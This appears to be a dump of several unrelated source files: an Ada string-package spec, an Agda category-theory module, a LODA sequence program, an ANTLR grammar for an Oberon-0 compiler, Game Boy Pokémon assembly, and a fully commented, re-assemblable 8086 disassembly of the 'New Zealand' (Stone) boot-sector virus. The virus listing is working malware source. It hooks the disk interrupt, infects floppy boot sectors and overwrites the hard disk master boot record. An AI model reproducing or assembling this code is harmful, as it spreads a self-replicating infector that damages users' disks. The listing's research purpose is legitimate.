New_Item : in Bounded_Wide_String;
Drop : in Truncation := Error);
procedure Append (Source : in out Bounded_Wide_String;
New_Item : in Wide_String;
Drop : in Truncation := Error);
procedure Append (Source : in out Bounded_Wide_String;
New_Item : in Wide_Character;
Drop : in Truncation := Error);
function "&" (Left, Right : in Bounded_Wide_String)
return Bounded_Wide_String;
function "&" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Bounded_Wide_String;
function "&" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Bounded_Wide_String;
function "&" (Left : in Bounded_Wide_String; Right : in Wide_Character)
return Bounded_Wide_String;
function "&" (Left : in Wide_Character; Right : in Bounded_Wide_String)
return Bounded_Wide_String;
function Element (Source : in Bounded_Wide_String;
Index : in Positive)
return Wide_Character;
procedure Replace_Element (Source : in out Bounded_Wide_String;
Index : in Positive;
By : in Wide_Character);
function Slice (Source : in Bounded_Wide_String;
Low : in Positive;
High : in Natural)
return Wide_String;
function Bounded_Slice
(Source : in Bounded_Wide_String;
Low : in Positive;
High : in Natural)
return Bounded_Wide_String;
procedure Bounded_Slice
(Source : in Bounded_Wide_String;
Target : out Bounded_Wide_String;
Low : in Positive;
High : in Natural);
function "=" (Left, Right : in Bounded_Wide_String) return Boolean;
function "=" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Boolean;
function "=" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Boolean;
function "<" (Left, Right : in Bounded_Wide_String) return Boolean;
function "<" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Boolean;
function "<" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Boolean;
function "<=" (Left, Right : in Bounded_Wide_String) return Boolean;
function "<=" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Boolean;
function "<=" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Boolean;
function ">" (Left, Right : in Bounded_Wide_String) return Boolean;
function ">" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Boolean;
function ">" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Boolean;
function ">=" (Left, Right : in Bounded_Wide_String) return Boolean;
function ">=" (Left : in Bounded_Wide_String; Right : in Wide_String)
return Boolean;
function ">=" (Left : in Wide_String; Right : in Bounded_Wide_String)
return Boolean;
-- Search subprograms
function Index (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
From : in Positive;
Going : in Direction := Forward;
Mapping : in Wide_Maps.Wide_Character_Mapping
:= Wide_Maps.Identity)
return Natural;
function Index (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
From : in Positive;
Going : in Direction := Forward;
Mapping : in Wide_Maps.Wide_Character_Mapping_Function)
return Natural;
function Index (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
Going : in Direction := Forward;
Mapping : in Wide_Maps.Wide_Character_Mapping
:= Wide_Maps.Identity)
return Natural;
function Index (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
Going : in Direction := Forward;
Mapping : in Wide_Maps.Wide_Character_Mapping_Function)
return Natural;
function Index (Source : in Bounded_Wide_String;
Set : in Wide_Maps.Wide_Character_Set;
From : in Positive;
Test : in Membership := Inside;
Going : in Direction := Forward)
return Natural;
function Index (Source : in Bounded_Wide_String;
Set : in Wide_Maps.Wide_Character_Set;
Test : in Membership := Inside;
Going : in Direction := Forward)
return Natural;
function Index_Non_Blank (Source : in Bounded_Wide_String;
From : in Positive;
Going : in Direction := Forward)
return Natural;
function Index_Non_Blank (Source : in Bounded_Wide_String;
Going : in Direction := Forward)
return Natural;
function Count (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping
:= Wide_Maps.Identity)
return Natural;
function Count (Source : in Bounded_Wide_String;
Pattern : in Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping_Function)
return Natural;
function Count (Source : in Bounded_Wide_String;
Set : in Wide_Maps.Wide_Character_Set)
return Natural;
procedure Find_Token (Source : in Bounded_Wide_String;
Set : in Wide_Maps.Wide_Character_Set;
Test : in Membership;
First : out Positive;
Last : out Natural);
-- Wide_String translation subprograms
function Translate (Source : in Bounded_Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping)
return Bounded_Wide_String;
procedure Translate (Source : in out Bounded_Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping);
function Translate
(Source : in Bounded_Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping_Function)
return Bounded_Wide_String;
procedure Translate
(Source : in out Bounded_Wide_String;
Mapping : in Wide_Maps.Wide_Character_Mapping_Function);
-- Wide_String transformation subprograms
function Replace_Slice (Source : in Bounded_Wide_String;
Low : in Positive;
High : in Natural;
By : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Replace_Slice (Source : in out Bounded_Wide_String;
Low : in Positive;
High : in Natural;
By : in Wide_String;
Drop : in Truncation := Error);
function Insert (Source : in Bounded_Wide_String;
Before : in Positive;
New_Item : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Insert (Source : in out Bounded_Wide_String;
Before : in Positive;
New_Item : in Wide_String;
Drop : in Truncation := Error);
function Overwrite (Source : in Bounded_Wide_String;
Position : in Positive;
New_Item : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Overwrite (Source : in out Bounded_Wide_String;
Position : in Positive;
New_Item : in Wide_String;
Drop : in Truncation := Error);
function Delete (Source : in Bounded_Wide_String;
From : in Positive;
Through : in Natural)
return Bounded_Wide_String;
procedure Delete (Source : in out Bounded_Wide_String;
From : in Positive;
Through : in Natural);
--Wide_String selector subprograms
function Trim (Source : in Bounded_Wide_String;
Side : in Trim_End)
return Bounded_Wide_String;
procedure Trim (Source : in out Bounded_Wide_String;
Side : in Trim_End);
function Trim (Source : in Bounded_Wide_String;
Left : in Wide_Maps.Wide_Character_Set;
Right : in Wide_Maps.Wide_Character_Set)
return Bounded_Wide_String;
procedure Trim (Source : in out Bounded_Wide_String;
Left : in Wide_Maps.Wide_Character_Set;
Right : in Wide_Maps.Wide_Character_Set);
function Head (Source : in Bounded_Wide_String;
Count : in Natural;
Pad : in Wide_Character := Wide_Space;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Head (Source : in out Bounded_Wide_String;
Count : in Natural;
Pad : in Wide_Character := Wide_Space;
Drop : in Truncation := Error);
function Tail (Source : in Bounded_Wide_String;
Count : in Natural;
Pad : in Wide_Character := Wide_Space;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Tail (Source : in out Bounded_Wide_String;
Count : in Natural;
Pad : in Wide_Character := Wide_Space;
Drop : in Truncation := Error);
--Wide_String constructor subprograms
function "*" (Left : in Natural;
Right : in Wide_Character)
return Bounded_Wide_String;
function "*" (Left : in Natural;
Right : in Wide_String)
return Bounded_Wide_String;
function "*" (Left : in Natural;
Right : in Bounded_Wide_String)
return Bounded_Wide_String;
function Replicate (Count : in Natural;
Item : in Wide_Character;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Replicate (Count : in Natural;
Item : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Replicate (Count : in Natural;
Item : in Bounded_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
private
type Bounded_Wide_String is null record;
Null_Bounded_Wide_String : constant Bounded_Wide_String := (null record);
end Generic_Bounded_Length;
end Ada.Strings.Wide_Bounded;
|
src/Categories/Category/Equivalence.agda | bblfish/agda-categories | 5 | 6701 | <filename>src/Categories/Category/Equivalence.agda
{-# OPTIONS --without-K --safe #-}
module Categories.Category.Equivalence where
-- Strong equivalence of categories. Same as ordinary equivalence in Cat.
-- May not include everything we'd like to think of as equivalences, namely
-- the full, faithful functors that are essentially surjective on objects.
open import Level
open import Relation.Binary using (IsEquivalence; Setoid)
open import Categories.Category.Core using (Category)
open import Categories.Functor renaming (id to idF)
open import Categories.NaturalTransformation.NaturalIsomorphism as ≃
using (NaturalIsomorphism ; unitorˡ; unitorʳ; associator; _ⓘᵥ_; _ⓘˡ_; _ⓘʳ_)
private
variable
o ℓ e : Level
C D E : Category o ℓ e
record WeakInverse (F : Functor C D) (G : Functor D C) : Set (levelOfTerm F ⊔ levelOfTerm G) where
field
F∘G≈id : NaturalIsomorphism (F ∘F G) idF
G∘F≈id : NaturalIsomorphism (G ∘F F) idF
module F∘G≈id = NaturalIsomorphism F∘G≈id
module G∘F≈id = NaturalIsomorphism G∘F≈id
record StrongEquivalence {o ℓ e o′ ℓ′ e′} (C : Category o ℓ e) (D : Category o′ ℓ′ e′) : Set (o ⊔ ℓ ⊔ e ⊔ o′ ⊔ ℓ′ ⊔ e′) where
field
F : Functor C D
G : Functor D C
weak-inverse : WeakInverse F G
open WeakInverse weak-inverse public
refl : StrongEquivalence C C
refl = record
{ F = idF
; G = idF
; weak-inverse = record
{ F∘G≈id = unitorˡ
; G∘F≈id = unitorˡ
}
}
sym : StrongEquivalence C D → StrongEquivalence D C
sym e = record
{ F = G
; G = F
; weak-inverse = record
{ F∘G≈id = G∘F≈id
; G∘F≈id = F∘G≈id
}
}
where open StrongEquivalence e
trans : StrongEquivalence C D → StrongEquivalence D E → StrongEquivalence C E
trans {C = C} {D = D} {E = E} e e′ = record
{ F = e′.F ∘F e.F
; G = e.G ∘F e′.G
; weak-inverse = record
{ F∘G≈id = let module S = Setoid (≃.Functor-NI-setoid E E)
in S.trans (S.trans (associator (e.G ∘F e′.G) e.F e′.F)
(e′.F ⓘˡ (unitorˡ ⓘᵥ (e.F∘G≈id ⓘʳ e′.G) ⓘᵥ ≃.sym (associator e′.G e.G e.F))))
e′.F∘G≈id
; G∘F≈id = let module S = Setoid (≃.Functor-NI-setoid C C)
in S.trans (S.trans (associator (e′.F ∘F e.F) e′.G e.G)
(e.G ⓘˡ (unitorˡ ⓘᵥ (e′.G∘F≈id ⓘʳ e.F) ⓘᵥ ≃.sym (associator e.F e′.F e′.G))))
e.G∘F≈id
}
}
where module e = StrongEquivalence e
module e′ = StrongEquivalence e′
isEquivalence : ∀ {o ℓ e} → IsEquivalence (StrongEquivalence {o} {ℓ} {e})
isEquivalence = record
{ refl = refl
; sym = sym
; trans = trans
}
setoid : ∀ o ℓ e → Setoid _ _
setoid o ℓ e = record
{ Carrier = Category o ℓ e
; _≈_ = StrongEquivalence
; isEquivalence = isEquivalence
}
|
programs/oeis/101/A101213.asm | karttu/loda | 0 | 103489 | <gh_stars>0
; A101213: a(n) = n * (n+1)^2 * (n+2)^3.
; 0,108,1152,6000,21600,61740,150528,326592,648000,1197900,2090880,3480048,5564832,8599500,12902400,18865920,26967168,37779372,51984000,70383600,93915360,123665388,160883712,207000000,263640000,332642700
mov $2,8
mov $5,$0
mov $6,$0
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,28
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,38
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,25
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,8
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3,1
sub $3,1
add $4,$5
lpe
mov $2,1
mov $5,$4
lpb $2,1
add $1,$5
sub $2,1
lpe
|
oberon0/OberonGrammar.g4 | steven-r/Oberon0Compiler | 2 | 2616 | grammar OberonGrammar;
@header {
using System.Collections.Generic;
using System.Linq;
using Oberon0.Compiler.Definitions;
using Oberon0.Compiler.Types;
using Oberon0.Compiler.Expressions;
using Oberon0.Compiler.Statements;
}
@members {
internal Stack<Block> blockStack = new Stack<Block>();
internal Block currentBlock;
public Module module = new Module(null);
private bool isVar(string id, Block block) {
return block.LookupVar(id, true) != null;
}
internal Block PushBlock() {
var block = new Block(currentBlock, module);
blockStack.Push(currentBlock);
currentBlock = block;
return block;
}
internal Block PushBlock(Block block) {
blockStack.Push(currentBlock);
currentBlock = block;
return block;
}
internal void PopBlock() {
currentBlock = blockStack.Pop();
}
}
moduleDefinition:
MODULE n=ID ';'
{
module.Name = $n.text;
currentBlock = module.Block;
}
declarations
rId=block
'.'
;
declarations:
( procedureDeclaration | localDeclaration | importDefinition ) *
;
importDefinition:
IMPORT id=ID ';'
;
procedureDeclaration:
p=procedureHeader
(procedureDeclaration|localDeclaration)*
endname=block
';'
;
procedureHeader
returns[FunctionDeclaration proc]
locals[Block procBlock]
: { $procBlock = PushBlock(); }
PROCEDURE name=ID (pps=procedureParameters)? (export=STAR)? ';'
;
procedureParameters returns [ProcedureParameterDeclaration[] params]:
'(' (p+=procedureParameter ';') * p+=procedureParameter ')'
;
procedureParameter returns[ProcedureParameterDeclaration param] locals[bool isVar]
@init{
$isVar = false;
}
:
( VAR {$isVar = true;} )? name=ID ':' t=typeName
;
typeName
returns [TypeDefinition returnType]
locals [RecordTypeDefinition recordType = new RecordTypeDefinition()]
: ID # simpleTypeName
| ARRAY e=expression OF t=typeName # arrayType
| RECORD r=recordTypeNameElements END # recordTypeName
;
recordTypeNameElements
returns [TypeDefinition returnType]
locals [RecordTypeDefinition record = new RecordTypeDefinition()]
: recordElement[$record] (';' recordElement[$record])*
;
recordElement[RecordTypeDefinition record]
: (ids+=ID ',')* ids+=ID ':' t=typeName
;
localDeclaration
: variableDeclaration
| constDeclaration
| typeDeclaration
;
typeDeclaration:
TYPE
singleTypeDeclaration+
;
singleTypeDeclaration:
id=ID export=STAR? '=' t=typeName ';'
;
variableDeclaration:
VAR
singleVariableDeclaration+
;
singleVariableDeclaration:
(v+=exportableID ',')* v+=exportableID ':' t=typeName ';'
;
exportableID:
ID (export=STAR)?
;
constDeclaration:
CONST
constDeclarationElement+
;
constDeclarationElement:
c=ID export=STAR? '=' e=expression ';'
;
block returns [IToken ret]
: (BEGIN statements)? END ID
{ $ret = $ID; }
;
statements:
statement
( ';' statement )*
;
statement
: assign_statement
| procCall_statement
| while_statement
| repeat_statement
| if_statement
|
;
procCall_statement
: id=ID ('(' cp=callParameters ')')?
;
assign_statement
: id=ID s=selector[currentBlock.LookupVar($id.text)] ':=' r=expression
;
while_statement
locals[WhileStatement ws]
@init{
$ws = new WhileStatement(currentBlock);
PushBlock($ws.Block);
}
: WHILE r=expression DO
statements
END
{ PopBlock(); }
;
repeat_statement
locals[RepeatStatement rs]
@init{
$rs = new RepeatStatement(currentBlock);
PushBlock($rs.Block);
}
: REPEAT
statements
UNTIL r=expression
{ PopBlock(); }
;
if_statement
locals[IfStatement ifs, Block thenBlock]
@init{
$ifs = new IfStatement();
}
: IF c+=expression THEN
{ $thenBlock = PushBlock(); }
statements
{ $ifs.ThenParts.Add($thenBlock); PopBlock(); }
( ELSIF c+=expression THEN
{ $thenBlock = PushBlock(); }
statements
{ $ifs.ThenParts.Add($thenBlock); PopBlock(); }
)*
(ELSE
{ $thenBlock = PushBlock(); }
statements
{ $ifs.ElsePart = $thenBlock; PopBlock(); }
)?
END
;
// Expressions
expression
returns[Expression expReturn]
: op=(NOT | MINUS) e=expression #exprNotExpression
| l=expression op=(STAR | DIV | MOD | AND) r=expression #exprMultPrecedence
| l=expression op=('+' | '-' | OR) r=expression #exprFactPrecedence
| l=expression op=('<' | '<=' | '>' | '>=' | '=' | '#') r=expression #exprRelPrecedence
| id=ID
s=selector[currentBlock.LookupVar($id.text)] #exprSingleId
| id=ID '(' cp=callParameters? ')' #exprFuncCall
| '(' e=expression ')' #exprEmbeddedExpression
| c=Constant #exprConstant
| s=STRING_LITERAL #exprStringLiteral
;
callParameters
: p+=expression (',' p+=expression)*
;
selector[Declaration referenceId] returns [VariableSelector vsRet]
: i+=arrayOrRecordSelector*
;
arrayOrRecordSelector returns [BaseSelectorElement selRet]
: '[' e=expression ']' # arraySelector
| '.' ID # recordSelector
;
// lexer tokens
STRING_LITERAL
: '\'' ('\'\'' | ~ ('\''))* '\''
;
Constant
: IntegerConstant
| FloatingConstant
;
IntegerConstant: DigitSequence;
fragment
FloatingConstant
: FractionalConstant ExponentPart?
| DigitSequence ExponentPart
;
fragment
FractionalConstant
: DigitSequence? '.' DigitSequence
| DigitSequence '.'
;
fragment
ExponentPart
: 'e' Sign? DigitSequence
| 'E' Sign? DigitSequence
;
fragment
Sign
: '+' | '-'
;
fragment
DigitSequence
: Digit+
;
fragment
Digit: [0-9];
Whitespace
: [ \t]+
-> skip
;
Newline
: ( '\r' '\n'?
| '\n'
)
-> skip
;
BlockComment
: '(*' .*? '*)'
-> skip
;
SEMI: ';';
COLON: ':';
DOT: '.';
LPAREN: '(';
RPAREN: ')';
COMMA: ',';
PLUS: '+';
AND: '&';
MINUS: '-';
NOTEQUAL: '#';
EQUAL: '=';
STAR: '*';
NOT: '~';
LT: '<';
LE: '<=';
GT: '>';
GE: '>=';
Assign: ':=';
/* keywords */
MODULE: 'MODULE';
IMPORT: 'IMPORT';
VAR: 'VAR';
BEGIN: 'BEGIN';
CONST: 'CONST';
END: 'END';
PROCEDURE: 'PROCEDURE';
TYPE: 'TYPE';
ARRAY: 'ARRAY';
OF: 'OF';
OR: 'OR';
RECORD: 'RECORD';
WHILE: 'WHILE';
DO: 'DO';
IF: 'IF';
THEN: 'THEN';
ELSE: 'ELSE';
ELSIF: 'ELSIF';
REPEAT: 'REPEAT';
UNTIL: 'UNTIL';
DIV: 'DIV';
MOD: 'MOD';
ID: [a-zA-Z_] [_a-zA-Z0-9]*;
/* move all lexer errors to the parser */
ErrorChar : . ;
|
MSDOS/Virus.MSDOS.Unknown.stone.asm | fengjixuchui/Family | 3 | 166779 | ;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'New Zealand' Virus :
; : Disassembled by <NAME>, November 1988 :
; : :
; : Copyright (c) <NAME> 1988, 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector two on a hard disk.
; The disassembly has been tested by re-assembly using MASM 5.0.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 440H
BB0440 DB ? ; Motor timeout counter
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
DUMMY DB 0
; Original Int 13H address
INT_13 EQU THIS DWORD
DW 0
DW 0
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
CMP DL,0 ; Is drive A
JNE BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
MOV AL,BB0440 ; Get motor timeout counter
OR AL,AL ; Test for zero
JNE BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
MOV CX,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNE BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
MOV AX,ES:[SI] ; Get first word
CMP AX,ES:[DI] ; Test if same
JNE BP0070 ; Install if not
MOV AX,ES:[SI+2] ; Get second word
CMP AX,ES:[DI+2] ; Test if same
JNE BP0070 ; Install if not
JMP BP0080 ; Pass on
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Head 1, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Display message
BP0090: MOV AL,CS:[BX] ; Get next message byte
INC BX ; Update pointer
CMP AL,0 ; Test for end of message
JNE BP0100 ; Branch to display
RET
BP0100: PUSH AX
PUSH BX
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
POP BX
POP AX
JMP SHORT BP0090 ; Process next byte
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REPZ MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV BX,OFFSET MESSAGE ; Load message address
CALL BP0090 ; Display message
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
MOV AX,[SI] ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
MOV AX,[SI+2] ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
MOV DUMMY,0
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV DUMMY,0
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET ENDADR+200H ; Target offset
MOV DI,OFFSET ENDADR ; Source offset
MOV CX,OFFSET ENDADR-400H ; Length to move
REPZ MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
MOV BX,0 ; Write this sector
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP SHORT BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0
DB 'Neither does your computer'
ENDADR EQU $-1
CODE ENDS
END START
|
engine/menus/menu_2.asm | Dev727/ancientplatinum | 28 | 5012 | PlaceMenuItemName:
push de
ld a, [wMenuSelection]
ld [wNamedObjectIndexBuffer], a
call GetItemName
pop hl
call PlaceString
ret
PlaceMenuItemQuantity:
push de
ld a, [wMenuSelection]
ld [wCurItem], a
farcall _CheckTossableItem
ld a, [wItemAttributeParamBuffer]
pop hl
and a
jr nz, .done
ld de, $15
add hl, de
ld [hl], "×"
inc hl
ld de, wMenuSelectionQuantity
lb bc, 1, 2
call PrintNum
.done
ret
PlaceMoneyTopRight:
ld hl, MenuHeader_0x24b15
call CopyMenuHeader
jr PlaceMoneyTextbox
PlaceMoneyBottomLeft:
ld hl, MenuHeader_0x24b1d
call CopyMenuHeader
jr PlaceMoneyTextbox
PlaceMoneyAtTopLeftOfTextbox:
ld hl, MenuHeader_0x24b15
lb de, 0, 11
call OffsetMenuHeader
PlaceMoneyTextbox:
call MenuBox
call MenuBoxCoord2Tile
ld de, SCREEN_WIDTH + 1
add hl, de
ld de, wMoney
lb bc, PRINTNUM_MONEY | 3, 6
call PrintNum
ret
MenuHeader_0x24b15:
db MENU_BACKUP_TILES ; flags
menu_coords 11, 0, SCREEN_WIDTH - 1, 2
dw NULL
db 1 ; default option
MenuHeader_0x24b1d:
db MENU_BACKUP_TILES ; flags
menu_coords 0, 11, 8, 13
dw NULL
db 1 ; default option
DisplayCoinCaseBalance:
; Place a text box of size 1x7 at 11, 0.
hlcoord 11, 0
ld b, 1
ld c, 7
call Textbox
hlcoord 12, 0
ld de, CoinString
call PlaceString
hlcoord 17, 1
ld de, ShowMoney_TerminatorString
call PlaceString
ld de, wCoins
lb bc, 2, 4
hlcoord 13, 1
call PrintNum
ret
DisplayMoneyAndCoinBalance:
hlcoord 5, 0
ld b, 3
ld c, 13
call Textbox
hlcoord 6, 1
ld de, MoneyString
call PlaceString
hlcoord 12, 1
ld de, wMoney
lb bc, PRINTNUM_MONEY | 3, 6
call PrintNum
hlcoord 6, 3
ld de, CoinString
call PlaceString
hlcoord 15, 3
ld de, wCoins
lb bc, 2, 4
call PrintNum
ret
MoneyString:
db "MONEY@"
CoinString:
db "COIN@"
ShowMoney_TerminatorString:
db "@"
Unreferenced_Function24b8f:
; related to safari?
ld hl, wOptions
ld a, [hl]
push af
set NO_TEXT_SCROLL, [hl]
hlcoord 0, 0
ld b, 3
ld c, 7
call Textbox
hlcoord 1, 1
ld de, wSafariTimeRemaining
lb bc, 2, 3
call PrintNum
hlcoord 4, 1
ld de, .slash_500
call PlaceString
hlcoord 1, 3
ld de, .booru_ko
call PlaceString
hlcoord 5, 3
ld de, wSafariBallsRemaining
lb bc, 1, 2
call PrintNum
pop af
ld [wOptions], a
ret
.slash_500
db "/500@"
.booru_ko
db "ボール こ@"
StartMenu_DrawBugContestStatusBox:
hlcoord 0, 0
ld b, 5
ld c, 17
call Textbox
ret
StartMenu_PrintBugContestStatus:
ld hl, wOptions
ld a, [hl]
push af
set NO_TEXT_SCROLL, [hl]
call StartMenu_DrawBugContestStatusBox
hlcoord 1, 5
ld de, .Balls_EN
call PlaceString
hlcoord 8, 5
ld de, wParkBallsRemaining
lb bc, PRINTNUM_RIGHTALIGN | 1, 2
call PrintNum
hlcoord 1, 1
ld de, .CAUGHT
call PlaceString
ld a, [wContestMon]
and a
ld de, .None
jr z, .no_contest_mon
ld [wNamedObjectIndexBuffer], a
call GetPokemonName
.no_contest_mon
hlcoord 8, 1
call PlaceString
ld a, [wContestMon]
and a
jr z, .skip_level
hlcoord 1, 3
ld de, .LEVEL
call PlaceString
ld a, [wContestMonLevel]
ld h, b
ld l, c
inc hl
ld c, 3
call Print8BitNumRightAlign
.skip_level
pop af
ld [wOptions], a
ret
.Balls_JP:
db "ボール こ@"
.CAUGHT:
db "CAUGHT@"
.Balls_EN:
db "BALLS:@"
.None:
db "None@"
.LEVEL:
db "LEVEL@"
FindApricornsInBag:
; Checks the bag for Apricorns.
ld hl, wBuffer1
xor a
ld [hli], a
dec a
ld bc, 10
call ByteFill
ld hl, ApricornBalls
.loop
ld a, [hl]
cp -1
jr z, .done
push hl
ld [wCurItem], a
